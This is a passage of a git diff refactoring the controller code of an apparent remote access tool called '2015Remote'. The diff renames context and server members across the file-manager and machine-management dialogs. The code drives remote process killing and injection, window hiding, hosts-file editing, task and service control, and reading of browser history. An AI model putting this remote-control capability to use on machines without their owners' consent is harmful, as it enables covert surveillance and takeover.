(LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_FILE_PasteFile; memcpy(lpPacket + 1, m_Remote_Path.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -1993,7 +1974,7 @@ void CFileManagerDlg::OnRemotezip() lpPacket[0] = COMMAND_FILE_zip; memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); ShowMessage(_T("开始压缩,不要关闭窗口,其他操作继续")); @@ -2002,7 +1983,7 @@ void CFileManagerDlg::OnRemotezip() void CFileManagerDlg::OnRemotezipstop() { BYTE lpPacket = COMMAND_FILE_zip_stop; - m_iocpServer->Send(m_pContext, &lpPacket, 1); + m_iocpServer->Send(m_ContextObject, &lpPacket, 1); } void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) @@ -2051,7 +2032,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) BYTE* lpbuffer = new BYTE[sizeof(SEARCH) + 1]; lpbuffer[0] = COMMAND_FILE_SEARCHPLUS_LIST; memcpy(lpbuffer + 1, &S_search, sizeof(SEARCH)); - m_iocpServer->Send(m_pContext, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1); + m_iocpServer->Send(m_ContextObject, (LPBYTE)lpbuffer, sizeof(SEARCH) + 1); SAFE_DELETE_AR(lpbuffer); SetWindowPos(NULL, 0, 0, 830, 830, SWP_NOMOVE); } @@ -2326,7 +2307,7 @@ void CFileManagerDlg::OnCompress() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM; memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -2353,7 +2334,7 @@ void CFileManagerDlg::OnUncompress() LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, nPacketLength); lpPacket[0] = COMMAND_COMPRESS_FILE_PARAM; memcpy(lpPacket + 1, strMsg.GetBuffer(0), nPacketLength - 1); - m_iocpServer->Send(m_pContext, lpPacket, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpPacket, nPacketLength); LocalFree(lpPacket); } @@ -2386,7 +2367,7 @@ void CFileManagerDlg::OnBtnSearch() LPBYTE lpBuffer = new BYTE[nPacketSize]; lpBuffer[0] = COMMAND_SEARCH_FILE; memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket)); - m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketSize); SAFE_DELETE_AR(lpBuffer); // 设置按钮状态 m_BtnSearch.SetWindowText(_T("正在搜索...")); @@ -2459,7 +2440,7 @@ void CFileManagerDlg::OnBnClickedSearchStop() GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE); // TODO: Add your command handler code here BYTE bToken = COMMAND_FILES_SEARCH_STOP; - m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); + m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); } //显示搜索结果 @@ -2476,14 +2457,14 @@ void CFileManagerDlg::OnBnClickedSearchResult() void CFileManagerDlg::ShowSearchPlugList() { - char* lpBuffer = (char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + char* lpBuffer = (char*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); char* Filename; char* Pathname; DWORD dwOffset = 0; m_list_remote_search.DeleteAllItems(); int i = 0; - for (i = 0; dwOffset < (m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); i++) { + for (i = 0; dwOffset < (m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1); i++) { Filename = lpBuffer + dwOffset; Pathname = Filename + strlen(Filename) + 1; CString CS_tem; diff --git a/server/2015Remote/file/CFileManagerDlg.h b/server/2015Remote/file/CFileManagerDlg.h index cf628bd..a4250cf 100644 --- a/server/2015Remote/file/CFileManagerDlg.h +++ b/server/2015Remote/file/CFileManagerDlg.h @@ -82,9 +82,6 @@ namespace file { void SearchEnd(); // 搜索结束 void FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLen); int m_nNewIconBaseIndex; // 新加的ICON - ClientContext* m_pContext; - ISocketBase* m_iocpServer; - CString m_IPAddress; CProgressCtrl* m_ProgressCtrl; HCURSOR m_hCursor; CString m_Local_Path; @@ -94,11 +91,10 @@ namespace file { void FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen); void fixNetHood(BYTE* pbuffer, int buffersize);//远程共享目录 bool id_search_result; - HICON m_hIcon; CStatusBar m_wndStatusBar; CFileManagerDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL); ~CFileManagerDlg() { - m_bOnClose = TRUE; + m_bIsClosed = TRUE; SAFE_DELETE(m_ProgressCtrl); } enum { @@ -180,8 +176,6 @@ namespace file { afx_msg void OnBnClickedSearchResult(); DECLARE_MESSAGE_MAP() - protected: - BOOL m_bOnClose; private: bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位 BOOL m_bDragging; // during a drag operation diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index ffe7362..351235a 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -23,9 +23,6 @@ // 移除对话框中MFC控件的支持,减小静态编译程序的大小 #define _AFX_NO_MFC_CONTROLS_IN_DIALOGS -// 关闭对话框时删除对话框 -#define CLOSE_DELETE_DLG 0 - // 检测内存泄漏,需安装VLD;否则请注释此行 // 如果安装了VLD, 请将安装路径添加到环境变量: 名称为"VLDPATH", 路径为"D:\Program Files (x86)\Visual Leak Detector" // 请根据实际安装目录填写VLDPATH. 或者手动编辑每个项目文件的头文件目录和库目录. 有关下载VLD库的信息请参考下面链接. @@ -84,28 +81,6 @@ #define WM_OPENDECRYPTDIALOG WM_USER+3018 #define WM_OPENFILEMGRDIALOG WM_USER+3019 -enum -{ - FILEMANAGER_DLG = 1, - SCREENSPY_DLG, - VIDEO_DLG, - AUDIO_DLG, - KEYBOARD_DLG, - SYSTEM_DLG, - SHELL_DLG, - SERVICES_DLG, - REGISTER_DLG, - TALK_DLG, - MONITOR_DLG, - PROXY_DLG, - HIDESCREEN_DLG, - MACHINE_DLG, - CHAT_DLG, - DECRYPT_DLG, - FILEMGR_DLG, -}; - - #ifdef _UNICODE #if defined _M_IX86 #pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"") diff --git a/server/2015Remote/sys/MachineDlg.cpp b/server/2015Remote/sys/MachineDlg.cpp index b03fb4b..aa98e82 100644 --- a/server/2015Remote/sys/MachineDlg.cpp +++ b/server/2015Remote/sys/MachineDlg.cpp @@ -24,14 +24,9 @@ static UINT indicators[] = { CMachineDlg::CMachineDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext) - : DialogBase(CMachineDlg::IDD, pParent, pIOCPServer, pContext, 0) + : DialogBase(CMachineDlg::IDD, pParent, pIOCPServer, pContext, IDI_MACHINE) { m_pMainWnd = (CMy2015RemoteDlg*)pParent; - m_iocpServer = pIOCPServer; - m_pContext = pContext; - m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_MACHINE)); - - m_bOnClose = false; m_nSortedCol = 1; m_bAscending = true; @@ -40,7 +35,7 @@ CMachineDlg::CMachineDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* } CMachineDlg::~CMachineDlg() { - m_bOnClose = TRUE; + m_bIsClosed = TRUE; SAFE_DELETE(m_IPConverter); DeleteList(); } @@ -132,7 +127,7 @@ BOOL CMachineDlg::OnInitDialog() // TODO: Add extra initialization here CString str; - str.Format(_T("主机管理 - %s"), m_pContext->PeerName.c_str()); + str.Format(_T("主机管理 - %s"), m_ContextObject->PeerName.c_str()); SetWindowText(str); m_tab.SetPadding(CSize(6, 3)); @@ -168,7 +163,7 @@ BOOL CMachineDlg::OnInitDialog() AdjustList(); BYTE lpBuffer = COMMAND_MACHINE_PROCESS; - m_iocpServer->Send(m_pContext, (LPBYTE)&lpBuffer, 1); + m_iocpServer->Send(m_ContextObject, (LPBYTE)&lpBuffer, 1); return TRUE; } @@ -209,11 +204,11 @@ void CMachineDlg::OnReceive() void CMachineDlg::OnReceiveComplete() { - if (m_bOnClose) return; + if (m_bIsClosed) return; SetReceivingStatus(true); - if (TOKEN_MACHINE_MSG == m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { - CString strResult = (char*)m_pContext->m_DeCompressionBuffer.GetBuffer(1); + if (TOKEN_MACHINE_MSG == m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) { + CString strResult = (char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); PostMessage(WM_SHOW_MSG, (WPARAM)new CString(strResult), 0); SetReceivingStatus(false); return; @@ -221,14 +216,14 @@ void CMachineDlg::OnReceiveComplete() DeleteList(); - if (m_pContext->m_DeCompressionBuffer.GetBufferLen() <= 2) { + if (m_ContextObject->m_DeCompressionBuffer.GetBufferLen() <= 2) { PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("无权限或无记录...")), 0); SetReceivingStatus(false); return; } PostMessage(WM_WAIT_MSG, TRUE, 0); - switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { + switch (m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_MACHINE_PROCESS: ShowProcessList(); break; @@ -324,9 +319,11 @@ void CMachineDlg::OnRclickList(NMHDR* pNMHDR, LRESULT* pResult) void CMachineDlg::OnClose() { - m_bOnClose = TRUE; - m_ContextObject->CancelIO(); + CancelIO(); DeleteList(); + if (m_wndStatusBar.GetSafeHwnd()) + m_wndStatusBar.DestroyWindow(); + SAFE_DELETE(m_IPConverter); CDialogBase::OnClose(); } @@ -335,7 +332,7 @@ void CMachineDlg::reflush() int nID = m_tab.GetCurSel(); DeleteList(); BYTE TOKEN = MachineManager(nID); - m_iocpServer->Send(m_pContext, (LPBYTE)&TOKEN, 1); + m_iocpServer->Send(m_ContextObject, (LPBYTE)&TOKEN, 1); } @@ -370,7 +367,8 @@ LRESULT CMachineDlg::OnWaitMessage(WPARAM wParam, LPARAM lParam) void CMachineDlg::DeleteList() { - if (!m_list) return; + if (!m_list.GetSafeHwnd()) return; + for (int i=0, n=m_list.GetItemCount(); iDestroy(); @@ -381,7 +379,7 @@ void CMachineDlg::DeleteList() for (int n = 0; n < nColumnCount; n++) { m_list.DeleteColumn(0); } - if (!m_bOnClose) + if (!m_bIsClosed) PostMessage(WM_SHOW_MSG, (WPARAM)new CString(_T("请等待数据返回...")), 0); } @@ -398,11 +396,11 @@ void CMachineDlg::ShowProcessList() m_list.InsertColumn(8, _T("窗口名称"), LVCFMT_LEFT, 100); m_list.InsertColumn(9, _T("进程位数"), LVCFMT_LEFT, 80); - char* lpBuffer = (char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + char* lpBuffer = (char*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; CString str; int i = 0; - for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + for (i = 0; dwOffset < m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset); bool* is64 = (bool*)(lpBuffer + dwOffset + sizeof(DWORD)); char* szBuf_title = (char*)(lpBuffer + dwOffset + sizeof(DWORD) + sizeof(bool)); @@ -464,12 +462,12 @@ void CMachineDlg::ShowWindowsList() m_list.InsertColumn(3, _T("窗口状态"), LVCFMT_LEFT, 100); m_list.InsertColumn(4, _T("大小"), LVCFMT_LEFT, 100); - LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; CString str; int i; WINDOWSINFO m_ibfo; - for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + for (i = 0; dwOffset < m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { memcpy(&m_ibfo, lpBuffer + dwOffset, sizeof(WINDOWSINFO)); str.Format(_T("%5u"), m_ibfo.m_poceessid); @@ -506,10 +504,10 @@ void CMachineDlg::ShowNetStateList() m_list.InsertColumn(5, _T("目标IP归属地"), LVCFMT_LEFT, 140); m_list.InsertColumn(6, _T("连接状态"), LVCFMT_LEFT, 80); - LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; CString str, IPAddress; - for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + for (int i = 0; dwOffset < m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { int pid = 0; for (int j = 0; j < 7; j++) { if (j == 0) { @@ -556,9 +554,9 @@ void CMachineDlg::ShowSoftWareList() m_list.InsertColumn(3, _T("安装时间"), LVCFMT_LEFT, 80); m_list.InsertColumn(4, _T("卸载命令及参数"), LVCFMT_LEFT, 400); - LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; - for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + for (int i = 0; dwOffset < m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { for (int j = 0; j < 5; j++) { char* lpString = (char*)(lpBuffer + dwOffset); if (j == 0) @@ -579,10 +577,10 @@ void CMachineDlg::ShowIEHistoryList() m_list.InsertColumn(1, _T("访问时间"), LVCFMT_LEFT, 130); m_list.InsertColumn(2, _T("标题"), LVCFMT_LEFT, 150); m_list.InsertColumn(3, _T("网页地址"), LVCFMT_LEFT, 400); - LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; CString str; - for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + for (int i = 0; dwOffset < m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { Browsinghistory* p_Browsinghistory = (Browsinghistory*)((char*)lpBuffer + dwOffset); str.Format(_T("%d"), i); m_list.InsertItem(i, str, 0); @@ -600,9 +598,9 @@ void CMachineDlg::ShowFavoritesUrlList() m_list.InsertColumn(0, _T("收藏名称"), LVCFMT_LEFT, 200); m_list.InsertColumn(1, _T("Url"), LVCFMT_LEFT, 300); - LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; - for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + for (int i = 0; dwOffset < m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { for (int j = 0; j < 2; j++) { char* lpString = (char*)((char*)lpBuffer + dwOffset); if (j == 0) @@ -628,10 +626,10 @@ void CMachineDlg::ShowServiceList() m_list.InsertColumn(6, _T("服务名"), LVCFMT_LEFT, 140); m_list.InsertColumn(7, _T("可执行文件路径"), LVCFMT_LEFT, 400); - char* lpBuffer = (char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + char* lpBuffer = (char*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwOffset = 0; int i = 0; - for (i = 0; dwOffset < (m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1) / sizeof(char); i++) { + for (i = 0; dwOffset < (m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1) / sizeof(char); i++) { char* DisplayName = lpBuffer + dwOffset; char* Describe = DisplayName + lstrlen(DisplayName) + 1; char* serRunway = Describe + lstrlen(Describe) + 1; @@ -673,12 +671,12 @@ void CMachineDlg::ShowTaskList() m_list.InsertColumn(5, _T("最后执行时间"), LVCFMT_LEFT, 130); m_list.InsertColumn(6, _T("下次执行时间"), LVCFMT_LEFT, 130); - BYTE* lpBuffer = (BYTE*)(m_pContext->m_DeCompressionBuffer.GetBuffer() + 1); + BYTE* lpBuffer = (BYTE*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer() + 1); DATE lasttime = 0; DATE nexttime = 0; DWORD dwOffset = 0; CString str; - for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { + for (int i = 0; dwOffset < m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - 1; i++) { char* taskname = (char*)(lpBuffer + dwOffset); char* taskpath = taskname + lstrlen(taskname) + 1; char* exepath = taskpath + lstrlen(taskpath) + 1; @@ -716,7 +714,7 @@ void CMachineDlg::ShowHostsList() { m_list.InsertColumn(0, _T("数据"), LVCFMT_LEFT, 600); - LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); + LPBYTE lpBuffer = (LPBYTE)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); int i = 0; char* buf; char* lpString = (char*)lpBuffer; @@ -772,7 +770,7 @@ void CMachineDlg::OpenInfoDlg() CServiceInfoDlg pDlg(this); pDlg.m_iocpServer = m_iocpServer; - pDlg.m_pContext = m_pContext; + pDlg.m_ContextObject = m_ContextObject; pDlg.m_ServiceInfo.strSerName = m_list.GetItemText(nItem, 6); pDlg.m_ServiceInfo.strSerDisPlayname = m_list.GetItemText(nItem, 0); @@ -801,7 +799,7 @@ void CMachineDlg::SendToken(BYTE bToken) lpBuffer[0] = bToken; memcpy(lpBuffer + 1, tSerName.GetBuffer(0), tSerName.GetLength() * sizeof(char)); - m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -879,7 +877,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_KILLDEL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -892,7 +890,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_KILL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -905,7 +903,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_FREEZING; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -918,7 +916,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_THAW; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -931,7 +929,7 @@ void CMachineDlg::ShowProcessList_menu() lpBuffer[0] = COMMAND_PROCESS_DEL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -968,7 +966,7 @@ void CMachineDlg::ShowProcessList_menu() DWORD wr = 0; ReadFile(hFile, lpBuffer + sizeof(InjectData)+1, p_InjectData->datasize, &wr, NULL); CloseHandle(hFile); - m_iocpServer->Send(m_pContext, lpBuffer, allsize); + m_iocpServer->Send(m_ContextObject, lpBuffer, allsize); SAFE_DELETE_AR(lpBuffer); } SAFE_DELETE(p_InjectData); @@ -1042,7 +1040,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_RESTORE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1057,7 +1055,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_HIDE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1071,7 +1069,7 @@ void CMachineDlg::ShowWindowsList_menu() DWORD hwnd = _tstoi(m_list.GetItemText(nItem, 1)); m_list.SetItemText(nItem, 3, _T("发送关闭命令")); memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1086,7 +1084,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_MAXIMIZE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1101,7 +1099,7 @@ void CMachineDlg::ShowWindowsList_menu() memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); DWORD dHow = SW_MINIMIZE; memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf)); + m_iocpServer->Send(m_ContextObject, lpMsgBuf, sizeof(lpMsgBuf)); } } break; @@ -1115,7 +1113,7 @@ void CMachineDlg::ShowWindowsList_menu() pid = m_list.GetItemText(nItem, 0); DWORD dwProcessID = _tstoi(pid); memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1130,7 +1128,7 @@ void CMachineDlg::ShowWindowsList_menu() pid = m_list.GetItemText(nItem, 0); DWORD dwProcessID = _tstoi(pid); memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1145,7 +1143,7 @@ void CMachineDlg::ShowWindowsList_menu() pid = m_list.GetItemText(nItem, 0); DWORD dwProcessID = _tstoi(pid); memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1202,7 +1200,7 @@ void CMachineDlg::ShowNetStateList_menu() lpBuffer[0] = COMMAND_PROCESS_KILL; DWORD dwProcessID = ((ListItem*)m_list.GetItemData(nItem))->pid; memcpy(lpBuffer + 1, &dwProcessID, sizeof(DWORD)); - m_iocpServer->Send(m_pContext, lpBuffer, sizeof(DWORD) + 1); + m_iocpServer->Send(m_ContextObject, lpBuffer, sizeof(DWORD) + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1271,7 +1269,7 @@ void CMachineDlg::ShowSoftWareList_menu() LPBYTE lpBuffer = new BYTE[1 + str_a.GetLength()]; lpBuffer[0] = COMMAND_APPUNINSTALL; memcpy(lpBuffer + 1, str_a.GetBuffer(0), str_a.GetLength()); - m_iocpServer->Send(m_pContext, lpBuffer, str_a.GetLength() + 1); + m_iocpServer->Send(m_ContextObject, lpBuffer, str_a.GetLength() + 1); SAFE_DELETE_AR(lpBuffer); } } @@ -1367,7 +1365,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); offset += lstrlen(taskname.GetBuffer()) * 2 + 2; - m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -1395,7 +1393,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); offset += lstrlen(taskname.GetBuffer()) * 2 + 2; - m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -1423,7 +1421,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, taskname.GetBuffer(), lstrlen(taskname.GetBuffer()) * 2 + 2); offset += lstrlen(taskname.GetBuffer()) * 2 + 2; - m_iocpServer->Send(m_pContext, lpBuffer, nPacketLength); + m_iocpServer->Send(m_ContextObject, lpBuffer, nPacketLength); LocalFree(lpBuffer); } @@ -1455,7 +1453,7 @@ void CMachineDlg::ShowTaskList_menu() memcpy(lpBuffer + offset, dlg->m_Description.GetBuffer(), lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2); offset += lstrlen(dlg->m_Description.GetBuffer()) * 2 + 2; - m_iocpServer->Send(m_pContext, lpBuffer, len); + m_iocpServer->Send(m_ContextObject, lpBuffer, len); LocalFree(lpBuffer); } @@ -1466,7 +1464,7 @@ void CMachineDlg::ShowTaskList_menu() break; case 104: { BYTE bToken = COMMAND_MACHINE_TASK; - m_iocpServer->Send(m_pContext, &bToken, 1); + m_iocpServer->Send(m_ContextObject, &bToken, 1); } break; } @@ -1561,7 +1559,7 @@ void CMachineDlg::ShowServiceList_menu() bToken = COMMAND_SERVICE_LIST_WIN32; else bToken = COMMAND_SERVICE_LIST_DRIVER; - m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE)); + m_iocpServer->Send(m_ContextObject, &bToken, sizeof(BYTE)); } break; case 700: @@ -1631,7 +1629,7 @@ void CMachineDlg::ShowHostsList_menu() LPBYTE lpBuffer = new BYTE[1 + Data_a.GetLength()]; lpBuffer[0] = COMMAND_HOSTS_SET; memcpy(lpBuffer + 1, Data_a.GetBuffer(0), Data_a.GetLength()); - m_iocpServer->Send(m_pContext, lpBuffer, Data_a.GetLength() + 1); + m_iocpServer->Send(m_ContextObject, lpBuffer, Data_a.GetLength() + 1); SAFE_DELETE_AR(lpBuffer); } break; diff --git a/server/2015Remote/sys/MachineDlg.h b/server/2015Remote/sys/MachineDlg.h index ce90e7d..00b7fba 100644 --- a/server/2015Remote/sys/MachineDlg.h +++ b/server/2015Remote/sys/MachineDlg.h @@ -32,10 +32,6 @@ protected: int m_nSortedCol; bool m_bAscending; bool m_bIsReceiving; - ClientContext* m_pContext; - ISocketBase* m_iocpServer; - HICON m_hIcon; - BOOL m_bOnClose; CMy2015RemoteDlg* m_pMainWnd; CStatusBar m_wndStatusBar; IPConverter* m_IPConverter; diff --git a/server/2015Remote/sys/ServiceInfoDlg.cpp b/server/2015Remote/sys/ServiceInfoDlg.cpp index 92c3e56..9498a9b 100644 --- a/server/2015Remote/sys/ServiceInfoDlg.cpp +++ b/server/2015Remote/sys/ServiceInfoDlg.cpp @@ -82,7 +82,7 @@ void CServiceInfoDlg::SendToken(BYTE bToken) lpBuffer[0] = bToken; memcpy(lpBuffer + 1, m_ServiceInfo.strSerName.GetBuffer(0), 